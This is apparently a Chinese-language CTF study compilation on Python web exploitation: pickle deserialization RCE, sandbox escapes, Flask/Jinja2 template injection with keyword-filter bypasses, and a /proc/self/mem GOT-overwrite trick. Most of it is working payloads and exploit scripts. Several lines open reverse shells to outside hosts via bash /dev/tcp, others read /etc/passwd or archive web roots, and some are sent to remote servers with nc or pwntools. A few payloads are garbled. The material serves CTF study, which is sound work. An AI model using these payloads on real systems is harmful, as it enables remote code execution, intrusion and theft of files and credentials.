执行命令的函数
import platform platform.popen('ipconfig').read() import subprocess subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read() import os os.system('ls')
反序列化
Python2.7和3.5默认使用的序列化格式有所区别,一般带有括号和换行的序列化数据是2.7使用的,而包含\x00的一般是3.5使用的。windows 和 linux 反序列化的数据是不同的
# windows, 第二行是操作系统nt (lp1\ncnt\nsystem... # linux, 第二行是操作系统posix (lp1\ncposix\nsystem...
反弹shell
#!/usr/bin/env python # encoding: utf-8 import os import pickle class test(object): def __reduce__(self): code='bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"' return (os.system,(code,)) a=test() c=pickle.dumps(a) print c pickle.loads(c)
Python 沙盒绕过
以下代码是在Python 2.7环境下
# read 函数,读文件 ().__class__.__bases__[0].__subclasses__()[40]('abc.php').read() # write 函数,写文件 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') # 执行任意命令 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) # 通过 system 执行任意命令 [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('id') # 通过 popen 执行任意命令 ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('id').read() # 打包文件 ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('tar -czvf /tmp/www.tar.gz /home/ctf/www').read() # base64 编码读取文件 ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('base64 /tmp/www.tar.gz').read()
例题:
#!/usr/bin/python2.7 -u from sys import modules modules.clear() del modules _raw_input = raw_input _BaseException = BaseException _EOFError = EOFError __builtins__.__dict__.clear() __builtins__ = None print 'Get a shell, if you can...' while 1: try: d = {'x':None} exec 'x='+_raw_input()[:50] in d print 'Return Value:', d['x'] except _EOFError, e: raise e except _BaseException, e: print 'Exception:', e
payloads
# [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('id'); data = [ """1;__builtins__['a']=[].__class__.__base__""", """1;__builtins__['b']=a.__subclasses__()[59]""", """1;__builtins__['c']=b.__init__.__globals__""", """1;__builtins__['d']=c['linecache'].__dict__""", """1;__builtins__['e']=d['os'].system""", """1;x=e('ls')""", ] for x in data: try: d = {'x':None} # exec 'xxx' in d,表示将 d 这个字典作为全局变量的空间,但是默认会有 __builtins__ 这个变量,不会以因为每次重置 d 而丢失 exec 'x='+x[:50] in d print 'Return Value:', d['x'] except _EOFError, e: raise e except _BaseException, e: print 'Exception:', e
Flask/Jinja2模板注入
验证漏洞
http://192.168.1.10/{{1+2}} http://192.168.1.10/?name={{1+2}} http://192.168.1.10/?name={{1^0}}
获取一些内置的变量信息
# Flask模版中的一个全局对象,包含了应用程序的配置值 {{config}} # 与服务器环境相关的对象字典 {{request.environ}}
payloads
Python2.7
# 读文件 ''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read() # 写文件 ''.__class__.__mro__[2].__subclasses__()[40]('2.txt','w').write('Write it!') # 读文件,base64编码 ''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read().encode('base64') # 通过 subprocess.Popen 执行 shell 命令 ''['__class__']['__mro__'].__getitem__(2)['__subclasses__']()[230](['ls', '-al', '/home'],stdout=-1)['communicate']() # 通过 os.popen 执行 shell 命令 ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].os.popen('id').read() # eval python code __import__("sys").version [].__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.eval([].__class__.__base__.__subclasses__()[6]([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 115, 121, 115, 34, 41, 46, 118, 101, 114, 115, 105, 111, 110]).__str__() [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls') [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls') "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")') "".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")') "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, 'os.system("ls")') ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
Python3
# 读写文件 ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() # 得到eval函数 ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval'] # 读写文件 ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("open('/etc/passwd').read()") ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() # 执行命令 # 得到system,system执行命令不会有回显 ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls') ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /etc/passwd').read() ().__class__.__bases__[0].__subclasses__()[59].__init__.['__builtins__']['__import__']('subprocess').Popen(['cat', '/etc/passwd']).read() # 反弹shell ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('bash -c "bash -i >& /dev/tcp/192.168.85.146/4545 0>&1"')
绕过过滤
{(''|attr('__class__')}},{(''['__class__'])}} # 等价于 {{''.__class__}}
空格可以用tab(%09)绕过
| 后不允许接a-z可以用%0c,tab等绕过
os可以通过python中exec绕过
如果过滤仅限于 request.args 但是不允许 post,简单的办法是可以用request.cookies来绕过
当要调用对象的方法如下
>>> dir([]).__class__ <type 'list'> >>> [].__class__ <type 'list'> >>> dir([])['__class__']
但是flask和django的模板注入还有一种内置方法
request.__class__ 效果等于 request|attr('__class__')
通过参数引入字符串
/?secret={{request.args.class.join((request.args.usc*2,request.args.usc*2))}}&usc=_&class=class
通过设定变量提前创建好变量
/?secret={%set%09class=request.args.class.join((request.args.usc*2,request.args.usc*2))%}{{class}}&usc=_&class=class
格式化字符串漏洞
利用字符串 format 的漏洞,如果格式化字符串的内容可以被控制,就能输出一些敏感信息,但是无法执行命令
class User(object): def __init__(self, name): self.name = name # a == joe input_t = '{0.name}' a = input_t.format(User('joe')) # a == joe input_t = '{user.name}' a = input_t.format(user=User('joe'))
flask模板注入 沙箱逃逸
我们看一下测试代码中的 hello_ssti函数
【功能 打印 hello + 用户传入的name值】
函数中模板内容 template = '''<h2>Hello %s!</h2>''' % person['name']
就是简单的字符串替换,这会引发什么安全问题吗?我们看例子:
运行后,浏览器访问: http://localhost:5000(Flask开发的程序,默认监听端口为5000)
OK, 默认打印Hello World。
但是,如果传入的name 参数值为恶意代码会怎么样?
引发敏感信息泄露
http://localhost:5000/hello-template-injection?name=ForrestX386. {{person.secret}}
secret 值被泄露 来源: http://www.freebuf.com/articles/web/135953.html
2 利用方法
那么好了,我们已经知道了大概的原理,实际上感觉类似于XSS一样的原理,特殊情况下的数据会被当做代码执行,而且要记住两对{}才可以呦,那么就是接下来的第二个部分,如何实现充分的利用。在python中存在很多的库函数,可以供我们使用来达到一定的功能,那么怎么来使用呢?
我们在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下:
().__class__.__bases__[0] ''.__class__.__mro__[2] # 验证如下 >>> print ''.__class__.__mro__[2] <type 'object'> >>> print ().__class__.__bases__[0] <type 'object'>
从代码上我们比较好理解,就是从()找到它的父类也就是__bases__[0],而这个父类就是Python中的根类<type 'object'>,它里面有很多的子类,包括file等,这些子类中就有跟os、system等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。
然后我们看一下
存在一个hook函数,直接可以调用
存在file类型的object,事实上调用后可以对文件操作了,这也是我们比赛时经常用到的一个函数
利用代码如下:
//读文件 ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() //写文件 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') //执行任意命令 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
这里需要补充一下,当我们得到了需要的库时,调用其中的函数方法是:
(1)采用类似于数组的方法,使用下标访问函数[index]
(2)使用名称直接访问,类似于[‘function name’]
2.python中可以执行任意代码的神奇函数
(1)timeit
import timeit timeit.timeit("__import__('os').system('dir')",number=1)
(2)exec 和eval 比较经典了
eval('__import__("os").system("dir")')
(3)platform
import platform print platform.popen('dir').read()
(4)random和math
3 绕过方法
经常我们在比赛中不会轻易地随意使用函数和关键字,都会被后台给过滤掉,那么我们就需要掌握一些染过的方法,我们的绕过的思路主要分两种,第一种就是进行字符串的拼接,避开关键词的使用,第二种方法就是作为参数的方法传入,可以躲避过滤。
(1)拼接绕过
在模板的url路径中,首先是支持字符串连接的,会在后台进行组合,比如我们可以吧获取object的代码这样写:
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]
当然函数名字也可以写成这个样子:
'.re'+'ad()' # 相当于'.read()'
第三个实际上就是一个函数用来躲避关键字的检查,如func_globals
中存在ls
,read关键字和class等,这也是做题时卡着的地方。而这些都可以用__getattribute__
进行突破,大概的原理如下:
# 我们想要的代码 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13] # 进行关键字绕过 ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache']
(2)参数的绕过方法
大概的原理是这样的,一般检查的时候只是检查url链接中的关键字,并没有对参数和cookies进行检查,那么我们就可以使用变量和数值的方法,url中使用变量代替我们的关键字,在参数中将实际的值附上,代码和讲解如下:
第一个是关于request的有关知识,我们知道这是一个用于web请求的库,它是存在有关参数的用法的,在《Flask request获取参数问题》一文中曾经提到过,分别通过3中方式获取参数:request.form, request.args,request.values
request.form.get("key", type=str, default=None) 获取表单数据 request.args.get("key") 获取get请求参数 request.values.get("key") 获取所有参数
用处不大啊,就是说一下基础,那么我们在构造url连接时,也可以使用request中的变量,包括arg和cookies等,当然肯定还有其他的用法,加入我们要读取文件a.php,而class和read等关键字都被屏蔽了,我们可以这么做:
import requests # 注意是两对{},上文已经讲过为什么了,这里用的是cookies的方式 url = '''http://47.96.118.255:2333/{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('a.php')[request.cookies.d]()}}''' cookies = {} cookies['a'] = '__class__' cookies['b'] = '__mro__' cookies['c'] = '__subclasses__' cookies['d'] = 'read' print requests.get(url,cookies=cookies).text
当然,我们也可以构造get的参数来传递:
www.a.com/login.php{{''[request.args.clas][request.args.mr][2][request.args.subclas]()[40]('a.php').__getattribute__('rea'+'d')()}} ?clas=__class__&mr=__mro__&subclas=__subclasses__
下面这个是大佬提供的另外一种方法,供大家参考吧:
www.a.com/login.php{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
另外需要提示的一点,我们既然都可以执行命令了,当然可以使用模板注入的方式获取浏览器的一些关键变量,环境等信息,如{{var}}通过变量的形式获取某些变量,在初始将院里的时候已经展示过了,这是一个关键一点,此类题目的时候留意一些
4 总结
1、注意题目为python2还是python3的环境,其对应的库会有很大的一个差距,但总体来说,python27有的,python3都有,但需要改变相应下标
2、曲径通幽,多绕绕,最终获得你想要的模块,认真找,慢慢翻,会有很多的收获,比如从().__class__.__bases__[0].__subclasses__() 出发,查看可用的类
若类中有file,考虑读写操作
若类中有<class 'warnings.WarningMessage'>,考虑从.__init__.func_globals.values()[13]获取eval,map等等;又或者从.__init__.func_globals[linecache] 得到os
若类中有<type 'file'>,<class 'ctypes.CDLL'>,<class 'ctypes.LibraryLoader'>,考虑构造so文件
其他的相关关键字可以搜索魔法函数,你会对这些看起来稀奇古怪的函数有更多的理解
3、分析ban函数的时候考虑使用字符串拼接结合__getattribute__绕过;当然也可以考虑base64加解密来进行绕过,这部分可以参考sql注入的绕过思想
4、两个不常见的执行任意命令的方法:
import timeit timeit.timeit("__import__('os').system('dir')",number=1) import platform print platform.popen('dir').read()
timeit 考虑time based rce
5、注意一种简单题型,出题者只做了如下一些处理:
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement >>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous >>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file >>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
看起来好像已经非常安全是么?但是,reload(module) 重新加载导入的模块,并执行代码。所以模块被导回到我们的命名空间。
6、导入模块的方式。
最直接的import.
内置函数 import
importlib库
以commands模块为列:
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')
web 模板注入 序列化执行
python代码审计
php包容性更大的语言,针对web,简单一些所以大家用这个
python出现后,更加的中性一些,有更多的库,以其为技术基础的东西也很多,比如flask模板等。
企业中java多,但是不适合初学者,调用栈特别多,反序列化,表达式执行。
对于没遇到过的题目,要会收集信息,百度不行还是用谷歌。
学会用英文搜索,而且新很多,谷歌的高级技巧(定向搜索,源码搜)
直接命令注入
对于可以直接执行cmd或者脚本命令的,cmd我们可以|并行管道执行
脚本的则可以闭合然后写入新的命令。
模板注入
对于服务器模板注入,我们需要先看是py2,3,然后根据下面可以使用的类搜索和执行的方法得到文件或者目录。
如果被过滤关键词,我们可以采用一些绕过方法
如果类被删除等我们通过fuzz看到开了什么,有源码的话就不需要了,一般用到的关键字意义如下
常见 payload
# 读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
# 写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
否则的话需要我们一步一步测试
从基类开始,再看子类,测试出被ban的是什么。
如果我们的函数被删除了
我们可以重新加载一下
限制的话就可以再次删除reload
劫持got表
write修改got表 实际上是一个/proc/self/mem的内存操作方法 /proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执
行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过 想做pwn题的劫持got表做我们任意想做的事情
Return to libc (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[ 40]('/proc/self/mem', 'w', 0))
第一个地址是system的偏移,第二个是fopen的偏移,我们可以通过objdump获取相关信息
格式化字符串问题
序列化问题
大概的意思就是我们输入的信息可以被当做命令执行,但是需要进行序列化,因为漏洞是发生在发序列化时。
例如pickle序列化漏洞,允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象,即有限执行这个方法。那么我们可以在传入的payload中定义这个方法,方法中附带上我们的字符串,就可以执行我们字符串的功能
#!/usr/bin/env python #coding: utf-8 import cPickle import os class genpoc(object): def __reduce__(self): s = """echo moxiaoxi> poc.txt""" #要执行的命令 return os.system, (s,) #os.system("echo moxiaoxi >poc.txt") e = genpoc() //获取python对象 里面包含reduce方法,方法里写上我们的命令 poc = cPickle.dumps(e) //将python对象序列化保存到本地的文件 print poc # www.a.com/index.php?payload=xxxxxxxxxxxx # 原理: 我们提交序列化的参数,那么服务器会进行解码 # 发现存在自定义解码方法reduce 执行reduce 执行我们的命令
这是第一个方法,只可以执行system命令,我们还可以执行任意命令
# !/usr/bin/env python # -*- coding:utf-8 -*- import marshal import base64 import cPickle import urllib def foo():#这是我们传上去的命令,写在下面 import os def fib(n): # 自己定义的函数 if n <= 1: return n return fib(n-1) + fib(n-2) print 'fib(10) =', fib(10) os.system('echo anycode >>poc.txt') try:#尝试使用cPickle来序列号代码对象 cPickle.dumps(foo.func_code) except Exception as e: print e #TypeError: can't pickle code objects code_serialized = base64.b64encode(marshal.dumps(foo.func_code)) print code_serialized #为了保证code_serialized中的内容得到执行,我们需要如下代码 #(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))() payload = """ctypes FunctionType # 类似于 import system (cmarshal loads (cbase64 b64decode # 解码 (S'%s' tRtRc__builtin__ globals (tRS'' tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code)) # 编码的命令 我们的命令在foo中 自带func_code为获取其中代码 print "------------------------------------------------" #编码和发送 print payload fp =open("poc.pickle","w") fp.write(payload) print "------------------------------------------------" print urllib.quote(payload)
大师傅小例题
ping执行
例题2
模板注入,同沙箱逃逸中的知识点,{{}}中的会当做命令执行,我们需要采用自带的模块和基类调用我们需要的函数,输入参数等。
绕过的时候可以采用参数和cookie,拼接等形式。
注意是python2还是python3 不同形式的,python3中可能不存在一些库
python3
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数 {% if 'eval' in b.keys() %} //找到了 {{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据 {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} //然后cat 就可以 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} //我们可以改里面的命令
//直接ls就能看到 否则的话find搜索 基本格式:find path expression 1.按照文件名查找 (1)find / -name httpd.conf #在根目录下查找文件httpd.conf,表示在整个硬盘查找 (2)find /etc -name httpd.conf #在/etc目录下文件httpd.conf find 搜索目录 -type d 查找某个目录下的所有目录 find /tmp -type d find 搜索目录 -cmin -时间(单位分钟) 查找etc下面1小时内被修改的文件,根目录下面太多了,指定一个目录 find /etc -cmin -60 find 搜索目录 -size 文件大小 这里的文件大小我们常见的有点不一样,这个大小是数据库,一个数据库等于512个字节,也就是0.5KB,所有1KB等于2个数据块 下面我们查找下大于100MB的文件,应该实际是102400KB*2,所有搜索命令为 find / -size +204800 -号是小于 直接写数字就是等于
python2
两对{}包裹的会被当做命令执行,我们可以来读取文件等
http://202.112.51.130:9009/?name={{9-3}} 会返回6 则可以执行
我们在使用的时候,上边的py3的代码也可以用。
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd ').read() }} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').w rite("") }}
大师傅例题3
Return to libc
write修改got表
实际上是一个/proc/self/mem的内存操作方法,/proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执
行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过想做pwn题的劫持got表做我们任意想做的事情
连接先 nc 202.112.130 8000
先使用read函数读取 文件,因为一些东西被过滤了,我们需要换一种写法
[(r.read())for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]
那么这个读取文件是可以使用的,那么我们可以获得
#coding:utf-8 from pwn import * def test(payload): conn = remote('202.112.51.130 ', 8010) //创建连接 # context.log_level='debug' conn.recv() conn.sendline(payload) //发送payload # data = conn.recvuntil('/bin/rbash') conn.recv() data = conn.recv() //第一条获取的误用 第二次获取 print data # conn.interactive() return data payload ="""[r.read()for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]""" print test(payload)
如此我们得到了读取的文件,我们可以看到地址,然后就进行地址的查看(自己用工具)
找到之后,我们劫持got表如下
echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687 getflag echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687
例题4 任意命令执行
看来我们可以输入Payload参数,那边会输出我们的字符串, 测试一下发现时payload小写的
那么使用课上讲的任意代码执行的序列化脚本,foo()内容先system('ls'); 然后cat就可以
def foo():#you should write your code in this function import os #rerurn os.popen('ls').read() return os.popen('cat flag').read() # 这两次就得到了flag # 先得到目录 发现flag 直接cat读取